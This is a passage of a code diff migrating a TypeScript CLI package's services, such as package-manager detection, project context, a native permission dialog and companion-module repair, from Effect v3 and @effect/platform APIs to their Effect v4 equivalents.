4 -import * as FileSystem from '@effect/platform/FileSystem';
4 +import * as FileSystem from 'effect/FileSystem';
5 import { Data, Effect } from 'effect';
6
7 export class DetachedProcessSpawnError extends Data.TaggedError(
@@ -32,7 +32,7 @@ export const spawnDetached = (
32 catch: cause => new DetachedProcessSpawnError({ command, cause }),
33 }).pipe(
34 Effect.flatMap(child =>
35 - Effect.async<void, DetachedProcessSpawnError>(resume => {
35 + Effect.callback<void, DetachedProcessSpawnError>(resume => {
36 let settled = false;
37
38 const cleanup = () => {
@@ -75,7 +75,7 @@ export const getDetachedWorkerSpawnArgs = (workerFlag: string, encodedPayload: s
75 const maybeScriptPath = process.argv[1];
76 const scriptPathExists =
77 typeof maybeScriptPath === 'string' && maybeScriptPath.length > 0
78 - ? yield* fs.exists(maybeScriptPath).pipe(Effect.catchAll(() => Effect.succeed(false)))
78 + ? yield* fs.exists(maybeScriptPath).pipe(Effect.catch(() => Effect.succeed(false)))
79 : false;
80 const scriptPathLooksReal =
81 scriptPathExists && /\.(?:[cm]?[jt]s|mjs|mts|cts)$/u.test(maybeScriptPath ?? '');
ts/packages/cli/src/services/js-package-manager-detector.ts
+16 -14
@@ -1,7 +1,7 @@
1 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
2 -import { Data, Effect, Option, Schema, pipe, Context, Layer } from 'effect';
3 -import * as FileSystem from '@effect/platform/FileSystem';
4 -import * as Path from '@effect/platform/Path';
2 +import { Context, Data, Effect, Layer, Option, Schema, pipe } from 'effect';
3 +import * as FileSystem from 'effect/FileSystem';
4 +import * as Path from 'effect/Path';
5
6 const toError = (e: unknown): Error => (e instanceof Error ? e : new Error(String(e)));
7
@@ -27,6 +27,12 @@ const LOCK_FILES: Record<PackageManager, string> = {
27
28 const PM_PREFERENCE: PackageManager[] = ['pnpm', 'bun', 'yarn', 'npm'];
29
30 +export interface JsPackageManagerDetectorShape {
31 + readonly detectJsPackageManager: (
32 + cwd: string
33 + ) => Effect.Effect<PackageManager, JsPackageManagerError>;
34 +}
35 +
36 // Service that attempts to detect the package manager of the project in the current working directory.
37 const makeJsPackageManagerDetector = Effect.gen(function* () {
38 yield* Effect.logDebug('[JsPackageManagerDetector] Identifying JS package manager...');
@@ -44,7 +50,7 @@ const makeJsPackageManagerDetector = Effect.gen(function* () {
50
51 const PackageJsonSchema = Schema.Struct({
52 packageManager: Schema.optional(Schema.String),
47 - }).annotations({ identifier: 'package.json' });
53 + }).annotate({ identifier: 'package.json' });
54
55 const detectFromPackageJson = (
56 cwd: string
@@ -52,7 +58,7 @@ const makeJsPackageManagerDetector = Effect.gen(function* () {
58 Effect.gen(function* () {
59 const contentEffect = pipe(
60 fs.readFileString(path.join(cwd, 'package.json')),
55 - Effect.catchTag('SystemError', e =>
61 + Effect.catchTag('PlatformError', e =>
62 Effect.fail(
63 new JsPackageManagerError({ cause: e, message: 'Failed to read package.json' })
64 )
@@ -75,7 +81,7 @@ const makeJsPackageManagerDetector = Effect.gen(function* () {
81 });
82
83 const decoded = yield* pipe(
78 - Schema.decodeUnknown(PackageJsonSchema)(json),
84 + Schema.decodeUnknownEffect(PackageJsonSchema)(json),
85 Effect.mapError(
86 e =>
87 new JsPackageManagerError({
@@ -85,7 +91,7 @@ const makeJsPackageManagerDetector = Effect.gen(function* () {
91 )
92 );
93
88 - return Option.fromNullable(decoded.packageManager).pipe(Option.flatMap(parsePackageManager));
94 + return Option.fromNullishOr(decoded.packageManager).pipe(Option.flatMap(parsePackageManager));
95 });
96
97 const detectRecursive = (
@@ -147,15 +153,11 @@ const makeJsPackageManagerDetector = Effect.gen(function* () {
153 };
154 });
155
150 -export type JsPackageManagerDetectorShape = Effect.Effect.Success<
151 - typeof makeJsPackageManagerDetector
152 ->;
153 -
154 -export class JsPackageManagerDetector extends Context.Tag('services/JsPackageManagerDetector')<
156 +export class JsPackageManagerDetector extends Context.Service<
157 JsPackageManagerDetector,
158 JsPackageManagerDetectorShape
157 ->() {
158 - static readonly Default = Layer.effect(
159 +>()('services/JsPackageManagerDetector') {
160 + static readonly Default: Layer.Layer<JsPackageManagerDetector> = Layer.effect(
161 JsPackageManagerDetector,
162 makeJsPackageManagerDetector
163 ).pipe(Layer.provide(Layer.mergeAll(BunFileSystem.layer, Path.layer)));
ts/packages/cli/src/services/known-toolkit-slugs.ts
+7 -7
@@ -1,5 +1,5 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
1 +import * as FileSystem from 'effect/FileSystem';
2 +import * as Path from 'effect/Path';
3 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
4 import { DateTime, Effect, Layer, Option, Schema } from 'effect';
5 import { setupCacheDir } from 'src/effects/setup-cache-dir';
@@ -27,7 +27,7 @@ export const KNOWN_TOOLKIT_SLUGS_FILE = 'known-toolkit-slugs.json';
27
28 const KnownToolkitSlugs = Schema.Struct({
29 slugs: Schema.Array(Schema.String),
30 - refreshedAt: Schema.DateTimeUtc,
30 + refreshedAt: Schema.DateTimeUtcFromString,
31 });
32
33 export type KnownToolkitSlugs = Schema.Schema.Type<typeof KnownToolkitSlugs>;
@@ -59,11 +59,11 @@ export const readKnownToolkitSlugs: Effect.Effect<Option.Option<KnownToolkitSlug
59 const fs = yield* FileSystem.FileSystem;
60 const filePath = yield* knownToolkitSlugsPath;
61 const content = yield* fs.readFileString(filePath);
62 - return yield* Schema.decode(KnownToolkitSlugsJSON)(content);
62 + return yield* Schema.decodeEffect(KnownToolkitSlugsJSON)(content);
63 }
64 ).pipe(
65 Effect.asSome,
66 - Effect.catchAll(error =>
66 + Effect.catch(error =>
67 Effect.logDebug(`No usable ${KNOWN_TOOLKIT_SLUGS_FILE}: ${error}`).pipe(
68 Effect.as(Option.none<KnownToolkitSlugs>())
69 )
@@ -84,7 +84,7 @@ export const writeKnownToolkitSlugs = (slugs: ReadonlyArray<string>): Effect.Eff
84 const filePath = yield* knownToolkitSlugsPath;
85 const refreshedAt = yield* DateTime.now;
86
87 - const content = yield* Schema.encode(KnownToolkitSlugsJSON)({
87 + const content = yield* Schema.encodeEffect(KnownToolkitSlugsJSON)({
88 slugs: [...new Set(slugs.map(slug => slug.toLowerCase()))].sort(),
89 refreshedAt,
90 });
@@ -92,6 +92,6 @@ export const writeKnownToolkitSlugs = (slugs: ReadonlyArray<string>): Effect.Eff
92 yield* writeFileAtomic(filePath, content);
93 yield* Effect.logDebug(`Recorded ${slugs.length} toolkit slugs in ${filePath}`);
94 }).pipe(
95 - Effect.catchAll(error => Effect.logDebug(`Failed to record known toolkit slugs: ${error}`)),
95 + Effect.catch(error => Effect.logDebug(`Failed to record known toolkit slugs: ${error}`)),
96 provideFileSystem
97 );
ts/packages/cli/src/services/native-ui-sidecar.ts
+37 -31
@@ -1,8 +1,4 @@
1 -import * as Command from '@effect/platform/Command';
2 -import * as CommandExecutor from '@effect/platform/CommandExecutor';
3 -import * as FileSystem from '@effect/platform/FileSystem';
4 -import * as Path from '@effect/platform/Path';
5 -import * as BunContext from '@effect/platform-bun/BunContext';
1 +import * as BunServices from '@effect/platform-bun/BunServices';
2 import {
3 Cause,
4 Config,
@@ -10,11 +6,14 @@ import {
6 Duration,
7 Effect,
8 Exit,
9 + FileSystem,
10 Option,
11 + Path,
12 Predicate,
13 Schema,
14 Stream,
15 } from 'effect';
16 +import { ChildProcess, ChildProcessSpawner } from 'effect/unstable/process';
17 import {
18 detectCliPlatform,
19 ensureBundledBinaryExecutable,
@@ -91,20 +90,25 @@ const PS_TREE_MAX_DEPTH = 8;
90 // non-zero exit, which leaves stdout empty) resolves to undefined.
91 const psParentEntry = (
92 pid: number
94 -): Effect.Effect<string | undefined, never, CommandExecutor.CommandExecutor> =>
95 - Command.make('ps', '-o', 'ppid=', '-o', 'comm=', '-p', String(pid)).pipe(
96 - // The child never reads interactive input: hand it an immediately-closed
97 - // stdin pipe (EOF), matching the previous `stdio: ['ignore', ...]` spawn.
98 - Command.stdin(Stream.empty),
99 - Command.string,
100 - Effect.map(output => output.trim()),
101 - Effect.orElseSucceed(() => undefined)
102 - );
93 +): Effect.Effect<string | undefined, never, ChildProcessSpawner.ChildProcessSpawner> =>
94 + Effect.scoped(
95 + Effect.gen(function* () {
96 + // The child never reads interactive input: hand it an immediately-closed
97 + // stdin pipe (EOF), matching the previous `stdio: ['ignore', ...]` spawn.
98 + const handle = yield* ChildProcess.make(
99 + 'ps',
100 + ['-o', 'ppid=', '-o', 'comm=', '-p', String(pid)],
101 + { stdin: Stream.empty, extendEnv: true }
102 + );
103 + const output = yield* Stream.mkString(Stream.decodeText(handle.stdout));
104 + return output.trim();
105 + })
106 + ).pipe(Effect.orElseSucceed(() => undefined));
107
108 const detectCallerAgentFromProcessTree: Effect.Effect<
109 NativeUiCallerAgent | undefined,
110 never,
107 - CommandExecutor.CommandExecutor
111 + ChildProcessSpawner.ChildProcessSpawner
112 > = Effect.gen(function* () {
113 if (process.platform === 'win32') return undefined;
114
@@ -127,7 +131,7 @@ const detectCallerAgentFromProcessTree: Effect.Effect<
131 return undefined;
132 });
133
130 -export type NativeUiCallerAgentSignals = Config.Config.Success<
134 +export type NativeUiCallerAgentSignals = Config.Success<
135 typeof UNPREFIXED_CONFIG.CALLER_AGENT_SIGNALS
136 >;
137
@@ -146,7 +150,7 @@ const detectCallerAgentFromSignals = (
150
151 export const detectNativeUiCallerAgentEffect = (
152 providedSignals?: NativeUiCallerAgentSignals
149 -): Effect.Effect<NativeUiCallerAgent, never, CommandExecutor.CommandExecutor> =>
153 +): Effect.Effect<NativeUiCallerAgent, never, ChildProcessSpawner.ChildProcessSpawner> =>
154 Effect.gen(function* () {
155 const signals =
156 providedSignals ?? (yield* loadHostConfig(UNPREFIXED_CONFIG.CALLER_AGENT_SIGNALS));
@@ -157,7 +161,7 @@ export const detectNativeUiCallerAgentEffect = (
161 });
162
163 export const detectNativeUiCallerAgent = (): Promise<NativeUiCallerAgent> =>
160 - Effect.runPromise(Effect.provide(detectNativeUiCallerAgentEffect(), BunContext.layer));
164 + Effect.runPromise(Effect.provide(detectNativeUiCallerAgentEffect(), BunServices.layer));
165
166 export const resolveNativeUiBinary: Effect.Effect<
167 NativeUiBinaryResolution,
@@ -195,7 +199,9 @@ export const resolveNativeUiBinary: Effect.Effect<
199 });
200 });
201
198 -const NativeUiDecisionPayloadSchema = Schema.parseJson(Schema.Struct({ decision: Schema.String }));
202 +const NativeUiDecisionPayloadSchema = Schema.fromJsonString(
203 + Schema.Struct({ decision: Schema.String })
204 +);
205
206 const parseDecisionPayload = (raw: string): NativeUiPermissionDecision | undefined => {
207 const decision = Option.getOrUndefined(
@@ -264,26 +270,26 @@ const requestNativeUiPermissionDecisionEffect = (params: {
270 String(timeoutSeconds),
271 ];
272
267 - const child = yield* Command.start(
268 - // The dialog never reads interactive input: hand it an immediately-closed
269 - // stdin pipe (EOF), matching the previous `stdio: 'ignore'` spawn.
270 - Command.make(resolved.binaryPath, ...args).pipe(Command.stdin(Stream.empty))
271 - );
273 + // The dialog never reads interactive input: hand it an immediately-closed
274 + // stdin pipe (EOF), matching the previous `stdio: 'ignore'` spawn.
275 + const child = yield* ChildProcess.make(resolved.binaryPath, args, {
276 + stdin: Stream.empty,
277 + extendEnv: true,
278 + });
279
280 // The previous spawn ignored the dialog's output entirely; drain the pipes
281 // so the dialog can never block on a full pipe buffer.
275 - yield* Effect.fork(Effect.ignore(Stream.runDrain(child.stdout)));
276 - yield* Effect.fork(Effect.ignore(Stream.runDrain(child.stderr)));
282 + yield* Effect.forkScoped(Effect.ignore(Stream.runDrain(child.stdout)));
283 + yield* Effect.forkScoped(Effect.ignore(Stream.runDrain(child.stderr)));
284
285 const dialogExit = yield* child.exitCode.pipe(
286 Effect.map((exitCode): DialogExit => ({ _tag: 'exited', exitCode })),
287 // exitCode fails when the dialog was terminated by a signal; fold it into
288 // the signal-termination shape instead of surfacing a PlatformError.
289 Effect.orElseSucceed((): DialogExit => ({ _tag: 'exited', exitCode: undefined })),
283 - Effect.timeoutTo({
290 + Effect.timeoutOrElse({
291 duration: Duration.seconds(timeoutSeconds + 5),
285 - onSuccess: (exit: DialogExit) => exit,
286 - onTimeout: (): DialogExit => ({ _tag: 'timedOut' }),
292 + orElse: (): Effect.Effect<DialogExit> => Effect.succeed({ _tag: 'timedOut' }),
293 })
294 );
295
@@ -291,7 +297,7 @@ const requestNativeUiPermissionDecisionEffect = (params: {
297 // the finalizer awaits the child's exit, so a dialog that ignored SIGTERM
298 // would stall this permission gate instead of resolving as dismissed.
299 if (dialogExit._tag === 'timedOut') {
294 - yield* Effect.ignore(child.kill('SIGKILL'));
300 + yield* Effect.ignore(child.kill({ killSignal: 'SIGKILL' }));
301 return 'dismissed';
302 }
303
@@ -315,7 +321,7 @@ export const requestNativeUiPermissionDecision = async (params: {
321 readonly timeoutSeconds?: number;
322 }): Promise<NativeUiPermissionDecision | undefined> => {
323 const exit = await Effect.runPromiseExit(
318 - Effect.provide(requestNativeUiPermissionDecisionEffect(params), BunContext.layer)
324 + Effect.provide(requestNativeUiPermissionDecisionEffect(params), BunServices.layer)
325 );
326 if (Exit.isSuccess(exit)) return exit.value;
327
ts/packages/cli/src/services/node-os.ts
+1 -1
@@ -10,7 +10,7 @@ export interface NodeOsShape {
10 }
11
12 // Injectable operating-system details for testing purposes.
13 -export class NodeOs extends Context.Tag('services/NodeOs')<NodeOs, NodeOsShape>() {
13 +export class NodeOs extends Context.Service<NodeOs, NodeOsShape>()('services/NodeOs') {
14 static readonly Default: Layer.Layer<NodeOs> = Layer.sync(NodeOs, () => ({
15 homedir: os.homedir(),
16 tmpdir: os.tmpdir(),
ts/packages/cli/src/services/node-process.ts
+3 -4
@@ -9,10 +9,9 @@ export interface NodeProcessShape {
9 }
10
11 // Service that wraps `node:process`, for testing purposes.
12 -export class NodeProcess extends Context.Tag('services/NodeProcess')<
13 - NodeProcess,
14 - NodeProcessShape
15 ->() {
12 +export class NodeProcess extends Context.Service<NodeProcess, NodeProcessShape>()(
13 + 'services/NodeProcess'
14 +) {
15 static readonly Default: Layer.Layer<NodeProcess> = Layer.sync(NodeProcess, () => ({
16 cwd: process.cwd(),
17 execPath: process.execPath,
ts/packages/cli/src/services/plugin-hint.ts
+13 -6
@@ -1,5 +1,5 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
1 +import * as FileSystem from 'effect/FileSystem';
2 +import * as Path from 'effect/Path';
3 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
4 import { Config, ConfigProvider, Effect, Layer, Option, Schema } from 'effect';
5 import { APP_CONFIG } from 'src/effects/app-config';
@@ -35,9 +35,9 @@ export function detectPluginHost(markers: HostEnvMarkers): AgentHost | undefined
35 return undefined;
36 }
37
38 -const InstalledPluginsSchema = Schema.parseJson(
38 +const InstalledPluginsSchema = Schema.fromJsonString(
39 Schema.Struct({
40 - plugins: Schema.Record({ key: Schema.String, value: Schema.Array(Schema.Unknown) }),
40 + plugins: Schema.Record(Schema.String, Schema.Array(Schema.Unknown)),
41 })
42 );
43
@@ -91,7 +91,7 @@ export function createPluginHint(config: PluginHintConfig) {
91 const fs = yield* FileSystem.FileSystem;
92 if (!(yield* fs.exists(config.claudeInstalledPluginsFile))) return true;
93 const raw = yield* fs.readFileString(config.claudeInstalledPluginsFile);
94 - const decoded = yield* Effect.option(Schema.decodeUnknown(InstalledPluginsSchema)(raw));
94 + const decoded = yield* Effect.option(Schema.decodeUnknownEffect(InstalledPluginsSchema)(raw));
95 if (Option.isNone(decoded)) return false;
96 const installs = decoded.value.plugins[COMPOSIO_AGENT_PLUGIN_ID];
97 return installs === undefined || installs.length === 0;
@@ -168,7 +168,14 @@ const rawHostEnvironment = Effect.gen(function* () {
168 claudeConfigDir,
169 codexHome,
170 };
171 -}).pipe(Effect.withConfigProvider(ConfigProvider.fromEnv()));
171 +}).pipe(
172 + // v4's fromEnv() snapshots the environment when the provider is built, so
173 + // build it per invocation to keep reading the live host environment.
174 + Effect.provideServiceEffect(
175 + ConfigProvider.ConfigProvider,
176 + Effect.sync(() => ConfigProvider.fromEnv())
177 + )
178 +);
179
180 export const resolvePluginHintConfig = (argv: ReadonlyArray<string>) =>
181 Effect.gen(function* () {
ts/packages/cli/src/services/project-context.ts
+11 -12
@@ -1,6 +1,6 @@
1 import { Effect, Option, Context, Layer } from 'effect';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import * as Path from '@effect/platform/Path';
2 +import * as FileSystem from 'effect/FileSystem';
3 +import * as Path from 'effect/Path';
4 import { NodeOs } from 'src/services/node-os';
5 import { NodeProcess } from 'src/services/node-process';
6 import { APP_CONFIG } from 'src/effects/app-config';
@@ -88,11 +88,11 @@ const makeProjectContext = Effect.gen(function* () {
88 const envFilePath = path.join(composioDir, constants.PROJECT_ENV_FILE_NAME);
89 const envExists = yield* fs
90 .exists(envFilePath)
91 - .pipe(Effect.catchAll(() => Effect.succeed(false)));
91 + .pipe(Effect.catch(() => Effect.succeed(false)));
92 if (envExists) {
93 const envContent = yield* fs
94 .readFileString(envFilePath)
95 - .pipe(Effect.catchAll(() => Effect.succeed('')));
95 + .pipe(Effect.catch(() => Effect.succeed('')));
96 const envMap = parseEnvFile(envContent);
97 const envFileOrgId = envMap.get('COMPOSIO_ORG_ID');
98 const envFileProjectId = envMap.get('COMPOSIO_PROJECT_ID');
@@ -113,15 +113,15 @@ const makeProjectContext = Effect.gen(function* () {
113 const projectJsonPath = path.join(composioDir, constants.PROJECT_CONFIG_FILE_NAME);
114 const jsonExists = yield* fs
115 .exists(projectJsonPath)
116 - .pipe(Effect.catchAll(() => Effect.succeed(false)));
116 + .pipe(Effect.catch(() => Effect.succeed(false)));
117 if (jsonExists) {
118 const content = yield* fs
119 .readFileString(projectJsonPath)
120 - .pipe(Effect.catchAll(() => Effect.succeed('')));
120 + .pipe(Effect.catch(() => Effect.succeed('')));
121 if (content) {
122 const keysOpt = yield* projectKeysFromJSON(content).pipe(
123 Effect.map(Option.some),
124 - Effect.catchAll(error =>
124 + Effect.catch(error =>
125 Effect.gen(function* () {
126 yield* Effect.logDebug(
127 `ProjectContext: corrupt project.json at ${projectJsonPath}, skipping:`,
@@ -149,12 +149,11 @@ const makeProjectContext = Effect.gen(function* () {
149 };
150 });
151
152 -export type ProjectContextShape = Effect.Effect.Success<typeof makeProjectContext>;
152 +export type ProjectContextShape = Effect.Success<typeof makeProjectContext>;
153
154 -export class ProjectContext extends Context.Tag('services/ProjectContext')<
155 - ProjectContext,
156 - ProjectContextShape
157 ->() {
154 +export class ProjectContext extends Context.Service<ProjectContext, ProjectContextShape>()(
155 + 'services/ProjectContext'
156 +) {
157 static readonly Default = Layer.effect(ProjectContext, makeProjectContext).pipe(
158 Layer.provide(Path.layer)
159 );
ts/packages/cli/src/services/project-environment-detector.ts
+8 -10
@@ -1,6 +1,6 @@
1 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import * as Path from '@effect/platform/Path';
2 +import * as FileSystem from 'effect/FileSystem';
3 +import * as Path from 'effect/Path';
4 import { Data, Effect, Match, Context, Layer } from 'effect';
5 import { getAncestors } from 'src/utils/get-ancestors';
6 import { UNPREFIXED_CONFIG } from 'src/effects/app-config';
@@ -205,10 +205,10 @@ const parseUserAgent = (userAgent: string | undefined): JsPackageManager | null
205 // ---------------------------------------------------------------------------
206
207 const makeReadDirectoryOptional = (fs: FileSystem.FileSystem) => (dir: string) =>
208 - fs.readDirectory(dir).pipe(Effect.catchAll(() => Effect.succeed<string[]>([])));
208 + fs.readDirectory(dir).pipe(Effect.catch(() => Effect.succeed<string[]>([])));
209
210 const makeReadFileStringOptional = (fs: FileSystem.FileSystem) => (filePath: string) =>
211 - fs.readFileString(filePath).pipe(Effect.catchAll(() => Effect.succeed<string | null>(null)));
211 + fs.readFileString(filePath).pipe(Effect.catch(() => Effect.succeed<string | null>(null)));
212
213 const makeReadPackageJson = (fs: FileSystem.FileSystem, path: Path.Path) => {
214 const readFileStringOptional = makeReadFileStringOptional(fs);
@@ -219,7 +219,7 @@ const makeReadPackageJson = (fs: FileSystem.FileSystem, path: Path.Path) => {
219 return yield* Effect.try({
220 try: () => JSON.parse(content) as Record<string, unknown>,
221 catch: toError,
222 - }).pipe(Effect.catchAll(() => Effect.succeed(null)));
222 + }).pipe(Effect.catch(() => Effect.succeed(null)));
223 });
224 };
225
@@ -592,14 +592,12 @@ const makeProjectEnvironmentDetector = Effect.gen(function* () {
592 };
593 });
594
595 -export type ProjectEnvironmentDetectorShape = Effect.Effect.Success<
596 - typeof makeProjectEnvironmentDetector
597 ->;
595 +export type ProjectEnvironmentDetectorShape = Effect.Success<typeof makeProjectEnvironmentDetector>;
596
599 -export class ProjectEnvironmentDetector extends Context.Tag('services/ProjectEnvironmentDetector')<
597 +export class ProjectEnvironmentDetector extends Context.Service<
598 ProjectEnvironmentDetector,
599 ProjectEnvironmentDetectorShape
602 ->() {
600 +>()('services/ProjectEnvironmentDetector') {
601 static readonly Default = Layer.effect(
602 ProjectEnvironmentDetector,
603 makeProjectEnvironmentDetector
ts/packages/cli/src/services/run-companion-modules.ts
+32 -14
@@ -2,14 +2,13 @@
2 // the bundled `composio run` companion modules, and the binary build scripts. Every
3 // helper is an Effect over the @effect/platform FileSystem/Path services; consumers
4 // outside the CLI runtime (companion runtimes, scripts) provide their own platform layers.
5 -import * as FileSystem from '@effect/platform/FileSystem';
6 -import * as Path from '@effect/platform/Path';
7 -import type { PlatformError } from '@effect/platform/Error';
8 -import { Config, ConfigProvider, Data, Effect, Option, Schema } from 'effect';
5 +import * as FileSystem from 'effect/FileSystem';
6 +import * as Path from 'effect/Path';
7 +import { Config, ConfigProvider, Data, Effect, Option, PlatformError, Schema } from 'effect';
8 import { extractZipSafely } from 'src/utils/extract-zip-safely';
9 import { IS_RELEASE_BUILD } from 'src/constants';
10 import { GitHubRelease } from 'src/effects/resolve-cli-release';
12 -import { BaseConfigProviderLive, extendConfigProvider } from 'src/services/config';
11 +import { getBaseConfigProvider, extendConfigProvider } from 'src/services/config';
12 import { NodeOs } from 'src/services/node-os';
13 import { atomicReplaceFile } from 'src/utils/atomic-replace';
14 import { parseChecksumsText, sha256Hex } from 'src/utils/checksums';
@@ -136,7 +135,10 @@ const fileExists = (fs: FileSystem.FileSystem, filePath: string) =>
135 fs.exists(filePath).pipe(Effect.orElseSucceed(() => false));
136
137 const filePathFromUrl = (path: Path.Path, url: string): Effect.Effect<string> =>
139 - Schema.decodeUnknown(Schema.URL)(url).pipe(Effect.flatMap(path.fromFileUrl), Effect.orDie);
138 + Schema.decodeUnknownEffect(Schema.URLFromString)(url).pipe(
139 + Effect.flatMap(path.fromFileUrl),
140 + Effect.orDie
141 + );
142
143 const collectRelativeImportPaths = ({
144 fs,
@@ -426,7 +428,7 @@ export const resolveRunningCliReleaseTag = (
428 export const writeInstalledReleaseTag = (
429 installDir: string,
430 releaseTag: string
429 -): Effect.Effect<void, PlatformError, FileSystem.FileSystem | Path.Path> =>
431 +): Effect.Effect<void, PlatformError.PlatformError, FileSystem.FileSystem | Path.Path> =>
432 Effect.gen(function* () {
433 const fs = yield* FileSystem.FileSystem;
434 const path = yield* Path.Path;
@@ -485,7 +487,7 @@ export const hasInstalledRunCompanionModules = (
487 });
488
489 const fetchGitHubJson = async <A, I>(
488 - schema: Schema.Schema<A, I>,
490 + schema: Schema.Codec<A, I>,
491 {
492 url,
493 accessToken,
@@ -562,9 +564,15 @@ const toRepairError = (error: unknown) =>
564 // Self-repair honors the unprefixed GITHUB_* contract (set by CI and the binary
565 // build workflow, mirrored by cli-local-tools) first, then falls back to the
566 // CLI-wide COMPOSIO_-prefixed spelling installed by cli-main's config provider.
565 -const repairConfigProvider = BaseConfigProviderLive.pipe(
566 - ConfigProvider.orElse(() => extendConfigProvider(BaseConfigProviderLive))
567 -);
567 +//
568 +// Built lazily (a function, not a memoized module-level constant): each
569 +// `getBaseConfigProvider()` call snapshots `process.env` at call time, so a
570 +// frozen constant would never observe env var changes made after this module
571 +// is first imported (e.g. `vi.stubEnv` in tests).
572 +const getRepairConfigProvider = (): ConfigProvider.ConfigProvider =>
573 + getBaseConfigProvider().pipe(
574 + ConfigProvider.orElse(extendConfigProvider(getBaseConfigProvider()))
575 + );
576
577 const resolveRepairReleaseTag = ({
578 execPath,
@@ -579,7 +587,12 @@ const resolveRepairReleaseTag = ({
587 Config.option(Config.string('GITHUB_TAG')).pipe(
588 Config.map(tag => Option.getOrUndefined(Option.map(tag, value => value.trim())))
589 )
582 - ).pipe(Effect.withConfigProvider(repairConfigProvider));
590 + ).pipe(
591 + Effect.provideServiceEffect(
592 + ConfigProvider.ConfigProvider,
593 + Effect.sync(() => getRepairConfigProvider())
594 + )
595 + );
596 if (pinnedTag) {
597 return pinnedTag;
598 }
@@ -603,7 +616,12 @@ const githubRepairConfig = Effect.orDie(
616 Config.map(Option.getOrUndefined)
617 ),
618 })
606 -).pipe(Effect.withConfigProvider(repairConfigProvider));
619 +).pipe(
620 + Effect.provideServiceEffect(
621 + ConfigProvider.ConfigProvider,
622 + Effect.sync(() => getRepairConfigProvider())
623 + )
624 +);
625
626 /**
627 * Restores a packaged install whose companion wrappers went missing.
@@ -623,7 +641,7 @@ export const repairMissingInstalledRunCompanionModules = ({
641 appVersion: string;
642 }): Effect.Effect<
643 { readonly repaired: false } | { readonly repaired: true; readonly releaseTag: string },
626 - RunCompanionRepairError | PlatformError,
644 + RunCompanionRepairError | PlatformError.PlatformError,
645 FileSystem.FileSystem | Path.Path
646 > =>
647 Effect.gen(function* () {
ts/packages/cli/src/services/run-helpers-runtime.ts
+29 -29
@@ -2,10 +2,10 @@
2 // runtime or @effect/platform layers are provided, so it uses sync Node builtins.
3 // eslint-disable-next-line no-restricted-imports -- sync fs for run-log appends, run-file writes, and CLI config reads in the child process, outside the Effect runtime
4 import * as fs from 'node:fs';
5 -import * as Command from '@effect/platform/Command';
6 -import * as Path from '@effect/platform/Path';
7 -import * as BunContext from '@effect/platform-bun/BunContext';
8 -import { Effect, Either, ManagedRuntime, Predicate, Schema } from 'effect';
5 +import { ChildProcess as Command } from 'effect/unstable/process';
6 +import * as Path from 'effect/Path';
7 +import * as BunServices from '@effect/platform-bun/BunServices';
8 +import { Effect, Result, ManagedRuntime, Predicate, Schema } from 'effect';
9 import { z } from 'zod';
10 import { JsonRecordSchema } from 'src/effects/json';
11 import type { MasterKind } from 'src/services/master-detector';
@@ -25,7 +25,7 @@ import { debugFlagsToChildEnv } from 'src/services/runtime-flags';
25 // One Bun platform runtime shared by every CLI child process this module spawns. ManagedRuntime
26 // builds the layer lazily on first use, so importers that never spawn a child pay nothing, and a
27 // run script that spawns many does not rebuild the platform services per call.
28 -const bunCommandRuntime = ManagedRuntime.make(BunContext.layer);
28 +const bunCommandRuntime = ManagedRuntime.make(BunServices.layer);
29
30 export type RunHelperContext = {
31 readonly apiKey?: string;
@@ -67,11 +67,11 @@ const ExperimentalSubagentConfig = Schema.Struct({
67 ),
68 });
69 const decodeExperimentalSubagentConfig = Schema.decodeUnknownSync(
70 - Schema.parseJson(ExperimentalSubagentConfig)
70 + Schema.fromJsonString(ExperimentalSubagentConfig)
71 );
72 const ProxySessionResponse = Schema.Struct({ session_id: Schema.NonEmptyString });
73 const ProxyExecuteResponse = Schema.Struct({
74 - headers: Schema.optional(Schema.Record({ key: Schema.String, value: Schema.String })),
74 + headers: Schema.optional(Schema.Record(Schema.String, Schema.String)),
75 binary_data: Schema.optional(Schema.Struct({ url: Schema.optional(Schema.String) })),
76 data: Schema.optional(Schema.Unknown),
77 status: Schema.optional(Schema.Number),
@@ -174,7 +174,7 @@ const previewDebugValue = (value: unknown): string => {
174 if (typeof value === 'string') return truncateDebugText(value.replace(/\s+/g, ' ').trim());
175 if (typeof value === 'number' || typeof value === 'boolean') return String(value);
176 if (Array.isArray(value)) return `array(${value.length})`;
177 - if (Predicate.isRecord(value)) {
177 + if (Predicate.isObject(value)) {
178 const preferred = ['message', 'error', 'title', 'summary', 'brief', 'status'];
179 for (const key of preferred) {
180 const candidate = value[key];
@@ -226,7 +226,7 @@ const formatHelperDebugEvent = (step: string, details: Record<string, unknown> =
226 }
227 case 'subAgent.acp.plan': {
228 const entries = Array.isArray(details.entries)
229 - ? details.entries.filter(Predicate.isRecord)
229 + ? details.entries.filter(Predicate.isObject)
230 : [];
231 if (entries.length === 0) return '[experimental_subAgent:plan] updated';
232 const summary = entries
@@ -270,14 +270,14 @@ const stringifyForPrompt = (value: unknown): string => {
270 if (typeof value === 'number' || typeof value === 'boolean' || typeof value === 'bigint') {
271 return String(value);
272 }
273 - return Either.getOrElse(
274 - Either.try(() => JSON.stringify(value, null, 2)),
273 + return Result.getOrElse(
274 + Result.try(() => JSON.stringify(value, null, 2)),
275 () => String(value)
276 );
277 };
278
279 const attachPromptMethod = <T>(value: T): T => {
280 - if (!Predicate.isRecord(value)) return value;
280 + if (!Predicate.isObject(value)) return value;
281 if (typeof value.prompt === 'function') return value;
282 Object.defineProperty(value, 'prompt', {
283 value: () => stringifyForPrompt('data' in value ? value.data : value),
@@ -286,7 +286,7 @@ const attachPromptMethod = <T>(value: T): T => {
286 return value;
287 };
288
289 -const isPlainObjectForExecute = Predicate.isRecord;
289 +const isPlainObjectForExecute = Predicate.isObject;
290
291 const runFileExtensionFromMimeType = (mimeType: string | undefined): string => {
292 if (typeof mimeType !== 'string' || mimeType.trim().length === 0) return 'bin';
@@ -307,7 +307,7 @@ const runFileExtensionFromMimeType = (mimeType: string | undefined): string => {
307
308 const describeDebugValue = (value: unknown) => {
